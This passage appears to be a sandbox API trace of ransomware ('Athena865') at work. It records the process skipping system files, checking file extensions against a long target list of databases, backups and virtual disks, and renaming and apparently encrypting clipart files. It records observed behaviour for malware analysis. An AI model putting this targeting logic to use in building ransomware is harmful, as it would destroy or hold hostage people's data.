0x54ec38 [0127.853] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.854] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.854] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.854] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3970, lpName=0x0) returned 0x154 [0127.856] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3970) returned 0x100000 [0127.857] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.858] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.858] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.859] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.859] CloseHandle (hObject=0x154) returned 1 [0127.859] CloseHandle (hObject=0x17c) returned 1 [0127.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.860] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2=".") returned 1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="..") returned 1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="windows") returned -1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="bootmgr") returned 1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="temp") returned -1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="pagefile.sys") returned -1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="boot") returned 1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="ids.txt") returned 1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="ntuser.dat") returned -1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="perflogs") returned -1 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2="MSBuild") returned -1 [0127.860] lstrlenW (lpString="J0200521.WMF") returned 12 [0127.860] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200521.WMF" | out: lpString1="J0200521.WMF") returned="J0200521.WMF" [0127.860] lstrlenW (lpString="J0200521.WMF") returned 12 [0127.860] lstrlenW (lpString="Athena865") returned 9 [0127.860] lstrcmpiW (lpString1="00521.WMF", lpString2="Athena865") returned -1 [0127.860] lstrlenW (lpString=".dll") returned 4 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2=".dll") returned 1 [0127.860] lstrlenW (lpString=".lnk") returned 4 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2=".lnk") returned 1 [0127.860] lstrlenW (lpString=".ini") returned 4 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2=".ini") returned 1 [0127.860] lstrlenW (lpString=".sys") returned 4 [0127.860] lstrcmpiW (lpString1="J0200521.WMF", lpString2=".sys") returned 1 [0127.861] lstrlenW (lpString="J0200521.WMF") returned 12 [0127.861] lstrlenW (lpString="bak") returned 3 [0127.861] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.861] lstrlenW (lpString="ba_") returned 3 [0127.861] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.861] lstrlenW (lpString="dbb") returned 3 [0127.861] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.861] lstrlenW (lpString="vmdk") returned 4 [0127.861] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.861] lstrlenW (lpString="rar") returned 3 [0127.861] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.861] lstrlenW (lpString="zip") returned 3 [0127.861] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.861] lstrlenW (lpString="tgz") returned 3 [0127.861] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.861] lstrlenW (lpString="vbox") returned 4 [0127.861] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.861] lstrlenW (lpString="vdi") returned 3 [0127.861] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.861] lstrlenW (lpString="vhd") returned 3 [0127.861] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.861] lstrlenW (lpString="vhdx") returned 4 [0127.861] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.861] lstrlenW (lpString="avhd") returned 4 [0127.861] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.861] lstrlenW (lpString="db") returned 2 [0127.861] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.861] lstrlenW (lpString="db2") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.862] lstrlenW (lpString="db3") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.862] lstrlenW (lpString="dbf") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.862] lstrlenW (lpString="mdf") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.862] lstrlenW (lpString="mdb") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.862] lstrlenW (lpString="sql") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.862] lstrlenW (lpString="sqlite") returned 6 [0127.862] lstrcmpiW (lpString1="21.WMF", lpString2="sqlite") returned -1 [0127.862] lstrlenW (lpString="sqlite3") returned 7 [0127.862] lstrcmpiW (lpString1="521.WMF", lpString2="sqlite3") returned -1 [0127.862] lstrlenW (lpString="sqlitedb") returned 8 [0127.862] lstrcmpiW (lpString1="0521.WMF", lpString2="sqlitedb") returned -1 [0127.862] lstrlenW (lpString="xml") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.862] lstrlenW (lpString="$er") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.862] lstrlenW (lpString="4dd") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.862] lstrlenW (lpString="4dl") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.862] lstrlenW (lpString="^^^") returned 3 [0127.862] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.862] lstrlenW (lpString="abs") returned 3 [0127.863] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.863] lstrlenW (lpString="abx") returned 3 [0127.863] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.863] lstrlenW (lpString="accdb") returned 5 [0127.863] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0127.863] lstrlenW (lpString="accdc") returned 5 [0127.863] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0127.863] lstrlenW (lpString="accde") returned 5 [0127.863] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0127.863] lstrlenW (lpString="accdr") returned 5 [0127.863] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0127.863] lstrlenW (lpString="accdt") returned 5 [0127.863] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0127.863] lstrlenW (lpString="accdw") returned 5 [0127.863] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0127.863] lstrlenW (lpString="accft") returned 5 [0127.863] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0127.863] lstrlenW (lpString="adb") returned 3 [0127.863] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.863] lstrlenW (lpString="adb") returned 3 [0127.863] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.863] lstrlenW (lpString="ade") returned 3 [0127.863] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.863] lstrlenW (lpString="adf") returned 3 [0127.863] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.863] lstrlenW (lpString="adn") returned 3 [0127.863] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.864] lstrlenW (lpString="adp") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.864] lstrlenW (lpString="alf") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.864] lstrlenW (lpString="ask") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.864] lstrlenW (lpString="btr") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.864] lstrlenW (lpString="cat") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.864] lstrlenW (lpString="cdb") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.864] lstrlenW (lpString="ckp") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.864] lstrlenW (lpString="cma") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.864] lstrlenW (lpString="cpd") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.864] lstrlenW (lpString="dacpac") returned 6 [0127.864] lstrcmpiW (lpString1="21.WMF", lpString2="dacpac") returned -1 [0127.864] lstrlenW (lpString="dad") returned 3 [0127.864] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.864] lstrlenW (lpString="dadiagrams") returned 10 [0127.864] lstrcmpiW (lpString1="200521.WMF", lpString2="dadiagrams") returned -1 [0127.864] lstrlenW (lpString="daschema") returned 8 [0127.864] lstrcmpiW (lpString1="0521.WMF", lpString2="daschema") returned -1 [0127.864] lstrlenW (lpString="db-journal") returned 10 [0127.865] lstrcmpiW (lpString1="200521.WMF", lpString2="db-journal") returned -1 [0127.865] lstrlenW (lpString="db-shm") returned 6 [0127.865] lstrcmpiW (lpString1="21.WMF", lpString2="db-shm") returned -1 [0127.865] lstrlenW (lpString="db-wal") returned 6 [0127.865] lstrcmpiW (lpString1="21.WMF", lpString2="db-wal") returned -1 [0127.865] lstrlenW (lpString="dbc") returned 3 [0127.865] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.865] lstrlenW (lpString="dbs") returned 3 [0127.865] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.865] lstrlenW (lpString="dbt") returned 3 [0127.865] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.865] lstrlenW (lpString="dbv") returned 3 [0127.865] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.865] lstrlenW (lpString="dbx") returned 3 [0127.865] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.865] lstrlenW (lpString="dcb") returned 3 [0127.865] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.865] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.865] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.Athena865") returned 73 [0127.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.athena865"), dwFlags=0x1) returned 1 [0127.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.867] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10046) returned 1 [0127.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.867] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.868] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.868] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.868] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a40, lpName=0x0) returned 0x154 [0127.871] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a40) returned 0x100000 [0127.872] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.873] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.873] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.874] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.874] CloseHandle (hObject=0x154) returned 1 [0127.874] CloseHandle (hObject=0x17c) returned 1 [0127.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.874] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0127.874] lstrcmpiW (lpString1="J0200611.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.874] lstrcmpiW (lpString1="J0200611.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.874] lstrcmpiW (lpString1="J0200611.WMF", lpString2=".") returned 1 [0127.874] lstrcmpiW (lpString1="J0200611.WMF", lpString2="..") returned 1 [0127.874] lstrcmpiW (lpString1="J0200611.WMF", lpString2="windows") returned -1 [0127.874] lstrcmpiW (lpString1="J0200611.WMF", lpString2="bootmgr") returned 1 [0127.874] lstrcmpiW (lpString1="J0200611.WMF", lpString2="temp") returned -1 [0127.874] lstrcmpiW (lpString1="J0200611.WMF", lpString2="pagefile.sys") returned -1 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2="boot") returned 1 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2="ids.txt") returned 1 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2="ntuser.dat") returned -1 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2="perflogs") returned -1 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2="MSBuild") returned -1 [0127.875] lstrlenW (lpString="J0200611.WMF") returned 12 [0127.875] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200611.WMF" | out: lpString1="J0200611.WMF") returned="J0200611.WMF" [0127.875] lstrlenW (lpString="J0200611.WMF") returned 12 [0127.875] lstrlenW (lpString="Athena865") returned 9 [0127.875] lstrcmpiW (lpString1="00611.WMF", lpString2="Athena865") returned -1 [0127.875] lstrlenW (lpString=".dll") returned 4 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2=".dll") returned 1 [0127.875] lstrlenW (lpString=".lnk") returned 4 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2=".lnk") returned 1 [0127.875] lstrlenW (lpString=".ini") returned 4 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2=".ini") returned 1 [0127.875] lstrlenW (lpString=".sys") returned 4 [0127.875] lstrcmpiW (lpString1="J0200611.WMF", lpString2=".sys") returned 1 [0127.875] lstrlenW (lpString="J0200611.WMF") returned 12 [0127.875] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.Athena865") returned 73 [0127.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.athena865"), dwFlags=0x1) returned 1 [0127.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.877] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3894) returned 1 [0127.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.877] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.878] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.878] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.878] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1240, lpName=0x0) returned 0x154 [0127.880] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1240) returned 0x100000 [0127.880] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.881] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.881] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.882] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.882] CloseHandle (hObject=0x154) returned 1 [0127.882] CloseHandle (hObject=0x17c) returned 1 [0127.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.882] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2=".") returned 1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="..") returned 1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="windows") returned -1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="bootmgr") returned 1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="temp") returned -1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="pagefile.sys") returned -1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="boot") returned 1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="ids.txt") returned 1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="ntuser.dat") returned -1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="perflogs") returned -1 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2="MSBuild") returned -1 [0127.883] lstrlenW (lpString="J0202045.JPG") returned 12 [0127.883] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0202045.JPG" | out: lpString1="J0202045.JPG") returned="J0202045.JPG" [0127.883] lstrlenW (lpString="J0202045.JPG") returned 12 [0127.883] lstrlenW (lpString="Athena865") returned 9 [0127.883] lstrcmpiW (lpString1="02045.JPG", lpString2="Athena865") returned -1 [0127.883] lstrlenW (lpString=".dll") returned 4 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2=".dll") returned 1 [0127.883] lstrlenW (lpString=".lnk") returned 4 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2=".lnk") returned 1 [0127.883] lstrlenW (lpString=".ini") returned 4 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2=".ini") returned 1 [0127.883] lstrlenW (lpString=".sys") returned 4 [0127.883] lstrcmpiW (lpString1="J0202045.JPG", lpString2=".sys") returned 1 [0127.883] lstrlenW (lpString="J0202045.JPG") returned 12 [0127.884] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.Athena865") returned 73 [0127.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.athena865"), dwFlags=0x1) returned 1 [0127.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 